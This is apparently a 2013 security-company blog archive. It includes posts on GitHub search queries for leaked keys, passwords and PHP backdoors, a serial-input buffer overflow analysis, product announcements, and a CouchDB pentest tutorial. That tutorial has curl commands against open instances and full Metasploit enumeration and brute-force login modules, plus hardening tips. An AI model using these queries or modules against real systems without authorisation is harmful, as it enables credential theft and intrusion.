quarta-feira, 19 de junho de 2013

Github Hacking for fun and... sensitive data search!

Conviso Research and Development Team is usually reading thousands and thousands of information daily and we make some filters and pay attention to some special words. We saw a very interesting post at Full Disclosure about advanced GitHub Search.

Right after reading what we shared in our internal list, this information and a little bit of Github Hacking proved that GitHub is a Disneyland of information leakage. We tried a lot of different searches and some interesting or I could say, VERY INTERESTING, as you see below.

Private Key



FTP information



E-mail information









MySQL Password / History


How about finding some possible 0days? Backdoors? Hell yeah! It's possible too.
Check out this GitHub "Dork":

stars:>1000 forks:>100 extension:php "eval(preg_replace("

We searched for big projects who have more than 1000 stars, 100 forks, files with PHP extension and a possible flaw that allows Remote Code Execution.



Check out other prefixes that might help you keeping your search improved GitHub Search Cheat Sheet.
Lots of FUN isn't ? We could probably find just about anything, the sky is the limit!

So to make our lives easier we developed a tool to grab those information in a more automated way:


You can check the code and download it from here (but keep in mind that it is still in beta version).

Take care about what information you share. Lots of sensitive information could probably be over there. Search for information about your company before the bad guys do.

sexta-feira, 17 de maio de 2013

Conviso presente no CIAB 2013: Espaço Inovação


Foram anunciadas as empresas Brasileiras que estarão presentes no Espaço Inovação do CIAB. Com muita honra (e trabalho árduo por anos), a  Conviso foi uma das empresas escolhidas para expor sua ferramenta de Gestão de Risco, o Conviso Security Compliance (CSC).

O Espaço Inovação é uma iniciativa do Instituto de Tecnologia de Software e Serviços (ITS) para a promoção da inovação nas empresas brasileiras de pequeno e médio porte. O ITS atua junto das mais importantes exposições setoriais de TI e Telecomunicações do país, expondo por meio de um estande coletivo soluções inovadoras e criteriosamente selecionadas. No setor de Finanças e Bancos, acontece anualmente o Espaço Inovação no CIAB FEBRABAN, uma parceria que se iniciou em 2005. Já na área de telecomunicações, acontece o Espaço Inovação  no mesmo formato de estande coletivo, é realizado na FUTURECOM. Atualmente também se estabelecem negociações para expandir o modelo para outros setores como saúde e acessibilidade . No Espaço Inovação a análise do mérito da solução precede a seleção, tornando as empresas expositoras merecedoras do destaque. As inscrições são feitas com antecedência de três meses da exposição e submetidas a analise de um comitê de especialistas. São as soluções e não a empresa o foco da seleção. Durante a avaliação são considerados os aspectos de tecnologia, negócios e impactos no setor.

No Conviso Security Compliance (CSC) você poderá customizar relatórios, integrar informações de diferentes fornecedores, gerenciamento centralizado, acompanhamento de correção e delegação de tarefas paras as falhas encontradas, seguindo as melhores práticas. Junto com a interface de Gestão, o Conviso Security Compliance possui módulos auxiliares que garantem um ciclo completo de proteção e Gestão de forma simplificada e eficaz.

Conviso Security Compliance

  • Análise de Risco: suporta as análises de risco e conformidade recebendo dados externos e com seus recursos como o scanner Accuracy e o Conviso Intelligence fornecendo base de conhecimento para Testes de invasão; Auditoria de Código; Modelagem de ameaças.
  • Gestão de Risco: gerencie o tratamento das vulnerabilidades identificadas nas análises, definindo um plano de ação com os responsáveis e as respectivas datas. Informação útil para gestão e auditorias.
  • Aplicar Controles: Utilizando a base de conhecimento do Conviso Intelligence ou a solução de hardening e baselines do Conviso Armature.
  • Métricas: acompanhe a evolução e melhoria contínua do tratamento das vulnerabilidades a partir de métricas e um dashboard customizável.

Quer conhecer melhor a ferramenta? Requisite uma demonstração https://www.conviso.com.br/produtos.php

Esperamos encontrá-los no CIAB.

segunda-feira, 6 de maio de 2013

Hackeando o post "Hacking com controle remoto da sua TV"

Ocorreu uma discussão extremamente interessante sobre o artigo anterior  que escrevi, chamado "Hacking com controle remoto da sua TV". No post apresentei um código com a funcionalidade de mapear teclas de um controle remoto e esse código teria uma possível vulnerabilidade na função “serialread()”.

No seguinte código, não temos limitação para escrita na variável “buf” e dependendo de alguns fatos isso poderia resultar em um stack buffer overflow.

Embora seja visível um possível Buffer Overflow, precisamos ter uma prova de conceito. A
entrada vem de uma comunicação “serial” e isso seria um problema para testar nossos “payloads”. Uma opção seria programar um “fuzzer” no arduino, assim como na imagem abaixo.
O exemplo acima envia uma sequência crescente de caracteres 'A', mas no nosso caso, enviando uma “string” única longa já demonstra o problema de corrupção de memória.
 Compilando o código com adição do argumento “-g” e “-fno-stack-protector”, depois rodando com GDB, podemos ver os seguintes detalhes.

Ao enviar uma string contendo 64 letras 'A' concatenadas com 10 letras 'B', temos então um crash.  Ao ver o valor de “fd”, vamos notar seu valor ser “66” ao invés de “8”. Podemos ver
que foi possível mudar o valor de “fd”, entretanto isso não é o suficiente para conseguir execução de código. Logo de forma conseguir mais informações, resolvi testar com a ferramenta “pmcma”.
( https://github.com/toucan-system/pmcma )
 Embora seja evidente o problema, não pareceu ser explorável, mesmo podendo escrever no  endereço de retorno da função “main()” , não foi possível fazer algo por conta da função “exit()”.

De forma mitigar o ocorrido, podemos seguir o seguinte exemplo para limitar o buffer no código:






Código teve adição da variável “max”, trabalhando em conjunto com variável “ i ”, para contar a leitura dos elementos do buffer, só então limitar o loop até o valor da variável “max”.

Então podemos chamar a função da seguinte forma “serialread(fd,buffer,’\n’ ,62);”, repare o último argumento, variável “max”, este valor seria responsável para definir o limite no buffer, fazendo lembrar funções do OpenBSD como strlcpy() e strlcat(),  que também  necessitam do tamanho do buffer para limitação.

Exemplo de um “Overflow”

Talvez poder escrever um valor em uma variável não pareça tão útil no nosso caso, entretanto em alguns casos pode nos levar para algum graal, tenha em mente um sistema  qualquer,em um cenário bem menor, onde temos seguinte código:



Embora seja teoricamente impossível fazer o programa mostrar a mensagem “Welcome to MaTriX Ne0 !”, pelo simples fato de não ter nada na variável “auth”, notamos a variável “login
recebendo um valor que não foi limitado, logo se o valor ultrapassar 12 caracteres podemos ter problemas.

Explorando essa vulnerabilidade entorno da variável “login”, logo acabamos escrevendo na variável “auth” qualquer valor, isso ocorre pois a pilha(stack) cresce ao contrário.
 

Além de fazer isso, seria interessante  ver se foi escrito algo na “EIP”(instruction pointer),se sim tentar algo como “ret2libc”.



Conclusão

Concluímos então, que até mesmo entradas via serial podem ser suscetíveis a alguma vulnerabilidade, por este fato todas entradas de dados devem ser limitadas para evitar problemas de corrupção de memória.

quinta-feira, 2 de maio de 2013

Novos desafios, agora Gerente de Produtos.

Esse será meu primeiro blogpost, de vários que farei futuramente. Como fomos ensinados pelos nossos pais, iniciarei no blog apresentando meu perfil, bem como meu novo trabalho na Conviso.

Meu nome é Rodrigo Montoro, mais conhecido por Sp0oKeR ou @spookerlabs no twitter. Sou um apaixonado por TI, Segurança da informação e em especial pelo Open Source, onde tudo começou em 1996/1997 com meu primeiro Slackware em alguns disquetes ( alguns talvez nunca tenham usado um disquete).

A partir dali, minha curiosidade sempre cresceu e algo que vejo como muito legal no opensource, especialmente naquela época onde não se havia tantas documentações, era entender como as coisas funcionam.

Resumindo meu caminho de 1997 até o presente momento, trabalhei como Network admin por muito tempo em provedores (o que me fez ser um apaixonado por protocolos e defesas), já fui Pré-Vendas e nos últimos anos me dedicava a área de pesquisas, onde duas delas são patentes requeridas nos EUA (caso queira saber mais fique a vontade para entrar em contato).

Nunca fui um ótimo palestrante/orador, mas com as iniciativas de comunidade opensource, pesquisas, vi a na necessidade de apresentar feitos e estudos, o que me deu enorme prazer de palestrar em inúmeras conferência no Brasil (FISL, Conisli, Latinoware, CNASI, Secure Brasil, H2HC, OWASP AppSec, BSides, Silver Bullet) e fora do pais (EUA - Source Boston & Seattle, Toorcon San Diego, ZonCon (conferência interna da Amazon), Bsides Las Vegas, SecTor em Toronto (Canadá)), no qual acredito ter melhorado minhas técnicas, porém muito ainda por vir.

No meu tempo livre, quem me acompanha sabe que sou um alucinado por esportes, especialmente as provas de longa duração, conhecidas como Endurance. No ano de 2012 fiz uma prova conhecida como Ironman, que é um triathlon com 3800m de natação, 180 km de bicicleta e 42 km de corrida, na sequência com limite de 17h para finalizar. O que me surpreendeu treinando para essa prova em especial e que me motiva no meu dia a dia, foi aprendizados e disciplinas que carrego para meu lado profissional.


* Foto durante pedal da prova, diversão garantida, mesmo sofrendo

Em meios a tantos fatos, anos se  passaram e sempre mantive uma amizade com o Wagner Elias. Por final, decidi que gostaria de migrar de área. Conversei com vários amigos, familia, pesquisei sobre diferentes cargos, maioria não tão técnicos como meu trabalho de pesquisa e cheguei a conclusão que Gerente de Produtos era o que eu procurava para meu futuro.

Por coincidência, o Wagner me fez uma oferta justamente para assumir esse cargo na empresa, o que não tive muitas dúvidas em aceitar, pois essa mudança de área, novos desafios era exatamente o que queria e precisava.

Dai a grande pergunta, o que é um Gerente de Produtos ( ou Product Manager) ?

O Gerente de Produtos foca no produto em si, mas precisa se envolver em todas as áreas relacionadas como: desenvolvimento, implementação, atendimento, marketing e vendas. Ele não é o responsável por nenhuma dessas áreas, porém precisa preencher as lacunas, onde elas existirem. Podemos dizer que é um conjunto de técnico com parte pessoal, lidando muito com clientes, entendendo a demanda e sabendo priorizar as novas funcionalidades.

O desenvolvimento de um novo produto é um ciclo continuo, podemos dizer um looping infinito, onde a cada release priorizaremos as maiores necessidades e melhorias, mas nunca deixando idéias sem serem feitas. Logicamente nem precisaria salientar, mas temos as melhorias indiretas que sempre sairão como pequenos bug fix e segurança (esse sempre com grande prioridade).

Porque a Conviso quer um Gerente de Produtos ?

Buscando facilitar a vida dos clientes, bem como levar um produto diferenciado para os clientes, a Conviso possui o Conviso Security Compliance (CSC) no qual você poderá entender melhor e requisitar uma demonstração em https://www.conviso.com.br/produtos.php

Lembrando que o produto terá um grande foco e novas funcionalidades  serão anunciadas em breve.

Para finalizar uma celebre frase que gosto muito: “Insanidade é continuar fazendo sempre a mesma coisa e esperar resultados diferentes”. – Albert Einsten

Que venham as inovações e desafios.

Por final, agradecer a oportunidade e espero em breve contar novidades do produto, bem como ter você como cliente.

sexta-feira, 26 de abril de 2013

CouchDB - For Fun and Profit

O que é CouchDB?

CouchDB[1] é um de banco de dados orientado a documentos, uma implementação de NoSQL que pode ser acessado através de sua API JavaScript Object Notation (JSON)[2] RESTful. O projeto, atualmente é desenvolvido na plataforma Erlang OTP[3] devido à sua ênfase em tolerância a falhas.

Uma lista de empresas que utilizam o CouchDB para o desenvolvimento de softwares pelo mundo, pode ser visualizada no site do desenvolvedor[4].


Características.

Cada documento tem sua identificação única no banco de dados, e o CouchDB oferece uma RESTfull HTTP API para ler e atualizar (adicionar, atualizar, editar, excluir) os documentos do banco de dados.

Sua porta de utilização é a 5984 sob o protocolo TCP. O daemon responsável por sua execução é o "beam", que faz parte do Erlang OTP. Conforme figura abaixo.




Por padrão, CouchDB instala todos seus recursos (exemplo: apt-get install couchdb) sem exigir o cadastro de senha para se autenticar em funções vitais do software, fazendo com que os administradores/desenvolvedores assumam essa tarefa.

O CouchDB disponibiliza suas respostas em clear-text, possibilitando ataques do tipo Man-in-The-Middle[5], conseguindo facilmente furtar dados importantes que estão trafegando entre o servidor e o cliente, um exemplo clássico, seria capturar o usuário e senha para se autenticar posteriormente, já que a aplicação utiliza sistema básico de autenticação (Basic Authentication), visualizar os nomes das databases, usuários etc.


Acessando os recursos do CouchDB com o cURL.

Com o utilitário de linha de comando cURL, podemos realizar basicamente as 4 funções principais para manusear documentos e views no CouchDB. Vejamos alguns exemplos:

1 - Para listar os databases existentes.
# curl -X GET http://192.168.0.64:5984/_all_dbs
2 - Criar um novo database.
# curl -X PUT http://192.168.0.64:5984/new_db
3 - Criando um documento de design.
# curl -X PUT http://192.168.0.64:5984/new_db/_design/app --data-binary @design.json
4 - Adicionando um documento vazio para poder visualizar o "design document" que acabamos de criar.
curl -X POST http://192.168.0.64:5984/new_db -d '{}' -H "Content-Type:application/json"
5 - Para visualizar.
curl http://192.168.0.64:5984/new_db/_design/app/_view/foo
6 - Criando um usuário chamado zezinho.
# curl -X PUT http://192.168.0.64:5984/_users/org.couchdb.user:zezinho -d '{"name":"zezinho", "password":"S3nhaS3cr3t4", "roles":[], "type":"user"}'
7 - Listando usuários.
# curl http://192.168.0.64:5984/_users/_all_docs
8 - Excluindo um database.
# curl -X DELETE http://192.168.0.64:5984/new_db


Criando um script para o Metasploit

Para facilitar o trabalho durante os testes de intrusão, desenvolvi um script para o metasploit, onde você conseguirá realizar todas as ações possibilitando a automação da análise. Seu uso é simples, basta definir o endereço do host remoto (RHOST), o método (GET, PUT, POST ou DELETE) e sua ação (TARGETURI). Em seu padrão, o módulo vem configurado para enumerar as databases existentes no servidor a ser testado, bastando apenas, definir o host remoto (RHOST), confirmar se a aplicação roda na porta padrão (5984) e executar o comando "run".

Script couchdb_enum.rb
require 'msf/core'

class Metasploit3 < Msf::Auxiliary

    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'CouchDB Enum Utility',
            'Description'    => %q{
                Send a "send_request_cgi()" to enumerate databases and your values on CouchDB (Without authentication by default)
            },
            'Author'         => [ 'espreto <robertoespreto[at]gmail.com>' ],
            'License'        => MSF_LICENSE
            ))

        register_options(
            [
                Opt::RPORT(5984),
                OptString.new('TARGETURI', [true, 'Path to list all the databases', '/_all_dbs']),
                OptEnum.new('HTTP_METHOD', [true, 'HTTP Method, default GET', 'GET', ['GET', 'POST', 'PUT', 'DELETE'] ]),
                OptString.new('USERNAME', [false, 'The username to login as']),
                OptString.new('PASSWORD', [false, 'The password to login with'])
            ], self.class)
        end

    def run
        username = datastore['USERNAME']
        password = datastore['PASSWORD']

        uri = normalize_uri(datastore['TARGETURI'])
            res = send_request_cgi({
                'uri'      => uri,
                'method'   => datastore['HTTP_METHOD'],
                'authorization' => basic_auth(username, password),
                'headers'  => {
                    'Cookie'   => 'Whatever?'
                }
        })

        temp = JSON.parse(res.body)
        results = JSON.pretty_generate(temp)

        if res.nil?
            print_error("No response for #{target_host}")
        elsif (res.code == 200)
            print_good("#{target_host}:#{rport} -> #{res.code}")
            print_good("Response Headers:\n\n #{res.headers}")
            print_good("Response Body:\n\n #{results}\n")
        elsif (res.code == 403) # Forbidden
            print_error("Received #{res.code} - Forbidden to #{target_host}:#{rport}")
            print_error("Response from server:\n\n #{results}\n")
        elsif (res.code == 404) # Not Found
            print_error("Received #{res.code} - Not Found to #{target_host}:#{rport}")
            print_error("Response from server:\n\n #{results}\n")
        else
            print_status("#{res.code}")
            print_status("#{results}")
        end

    rescue ::Exception => e
        print_error("Error: #{e.to_s}")
        return nil
    end
end

Veja um exemplo de saída do script com a opção TARGETURI definida com o valor /_users/_all_docs.



Analisando o CouchDB com autenticação.

Abaixo um novo script para o metasploit, que realiza o brute-force de usuário e senha, baseando-se em uma wordlist. Por padrão, já é especificada uma wordlist presente no metasploit, bastando apenas especificar o endereço remoto do CouchDB (RHOST) e confirmar a porta padrão (5984). Mas nada lhe impede de utilizar uma wordlist especialmente criada por você, basta especificar o path deste arquivo.

Script couchdb_login.rb
require 'msf/core'

class Metasploit3 < Msf::Auxiliary

    include Msf::Exploit::Remote::HttpClient
    include Msf::Auxiliary::Report
    include Msf::Auxiliary::AuthBrute
    include Msf::Auxiliary::Scanner

    def initialize(info={})
        super(update_info(info,
            'Name'           => 'CouchDB Login Utility',
            'Description'    => %{
                This module attempts brute force to login to a CouchDB.
            },
            'Author'         =>

                [
                    'espreto <robertoespreto[at]gmail.com>'
                ],
            'License'        => MSF_LICENSE
        ))

        register_options(
            [
                Opt::RPORT(5984),
                OptString.new('URI', [true, "URI for CouchDB. Default here is /_users/_all_docs", "/_users/_all_docs"]),
                OptPath.new('USERPASS_FILE',  [ false, "File containing users and passwords separated by space, one pair per line",
                    File.join(Msf::Config.install_root, "data", "wordlists", "http_default_userpass.txt") ]),
                OptPath.new('USER_FILE',  [ false, "File containing users, one per line",
                    File.join(Msf::Config.install_root, "data", "wordlists", "http_default_users.txt") ]),
                OptPath.new('PASS_FILE',  [ false, "File containing passwords, one per line",
                    File.join(Msf::Config.install_root, "data", "wordlists", "http_default_pass.txt") ])
            ], self.class)
    end

    def run_host(ip)

        user = datastore['USERNAME'].to_s
        pass = datastore['PASSWORD'].to_s

        vprint_status("#{rhost}:#{rport} - Trying to login with '#{user}' : '#{pass}'")


            res = send_request_cgi({
                'uri'    => datastore['URI'],
                'method' => 'GET',
                'authorization' => basic_auth(user, pass)
            })

            return if res.nil?
            return if (res.headers['Server'].nil? or res.headers['Server'] !~ /CouchDB/)
            return if (res.code == 404)

            if [200, 301, 302].include?(res.code)
                vprint_good("#{rhost}:#{rport} - Successful login with '#{user}' : '#{pass}'")
            else
                vprint_error("#{rhost}:#{rport} - Failed login with '#{user}' : '#{pass}'")
                print_status("Brute-forcing... >:-} ")

                each_user_pass do |user, pass|
                    do_login(user, pass)
                end
            end
        rescue ::Rex::ConnectionError
            vprint_error("'#{rhost}':'#{rport}' - Failed to connect to the web server")
    end

    def do_login(user, pass)
        vprint_status("Trying username:'#{user}' with password:'#{pass}'")
        begin
            res = send_request_cgi(
            {
                'uri'       => datastore['URI'],
                'method'    => 'GET',

                'ctype'     => 'text/plain',
                'authorization' => basic_auth(user, pass)
            })
            if res and res.code != 200                 vprint_error("Failed login. '#{user}' : '#{pass}' with code #{res.code}")                 return :skip_pass             else                 print_good("Successful login. '#{user}' : '#{pass}'")                 report_hash = {
                    :host   => datastore['RHOST'],                     :port   => datastore['RPORT'],                     :sname  => 'couchdb',                     :user   => user,                     :pass   => pass,                     :active => true,                     :type => 'password'}                 report_auth_info(report_hash)                 return :next_user             end         rescue ::Rex::ConnectionError, ::Errno::ECONNREFUSED, ::Errno::ETIMEDOUT             print_error("HTTP Connection Failed, Aborting")                 return :abort         end         rescue ::Exception => e             print_error("Error: #{e.to_s}")             return nil     end end


Aumentando a segurança do CouchDB.

Para diminuir os riscos, recomendamos aplicar as seguintes medidas para sua proteção.

Utilizando o futon[6], você pode acessar a url http://IP_DO_COUCHDB:5984/_utils que acessará o gerenciador web do CouchDB.

1 - Criar um usuário administrador no servidor clicando no botão "Fix this!", localizado no canto inferior direito.

2 - Criar um usuário no-admin e atribuí-lo (por nome ou papel) para ser um usuário administrador do banco de dados em específico. Isso pode ser feito através do ícone "Segurança" no topo do gerenciador Futon, quando você está em um banco de dados específico. Ou então criar este non-admin através do HTTP API.

3 - Criar um usuário non-admin no CouchDB e atribuí-los (por nome ou papel) para ser apenas leitor (read) no banco de dados em algum banco de dados específico. Isso pode ser feito através do ícone "Segurança" no topo do gerenciador Futon quando você está em um banco de dados específico. Ou então criar este non-admin através do HTTP API.

4 - Criar um usuário non-admin no CouchDB e criar um documento de design de banco de dados que inclui uma função de validação, especificamente em uma propriedade "validate_doc_update" no documento de design. O valor dessa propriedade é uma função (que você escreve) para verificar um nome de usuário ou regra no argumento userCtx que é passado para a função específica, assim poderia alertar um erro na função se o usuário ou a regra não é quem pode escrever no banco de dados.

5 - Como medida adicional de proteção, o CouchDB disponibiliza a autenticação via Cookie, bastando enviar uma requisição para a API com o usuário e senha já presentes no mesmo. Por padrão, cada token tem sua a duração de 10 minutos.

Estas e outras dicas importantes podem ser visualizadas no CouchDB Security[7], disponível no próprio site do desenvolvedor.


Parte 2 do Post:

CouchDB - For Fun and Profit

Ataques SSRF? Execução remota de comandos? Tudo via CouchDB?
Essas e outras perguntas interessantes serão respondidas no próximo post. =)


Não deixem de assinar a newsletter da Conviso[8] para receber as atualizações de novos posts e notícias.

By @espreto

Referências:

[1] http://couchdb.apache.org/
[2] http://www.json.org/
[3] http://www.erlang.org/
[4] http://wiki.apache.org/couchdb/CouchDB_in_the_wild
[5] http://en.wikipedia.org/wiki/Man-in-the-middle_attack
[6] http://wiki.apache.org/couchdb/Getting_started_with_Futon
[7] http://wiki.apache.org/couchdb/Security_Features_Overview
[8] https://www.conviso.com.br/


Leituras adicionais:

http://en.wikipedia.org/wiki/REST
http://en.wikipedia.org/wiki/Create,_read,_update_and_delete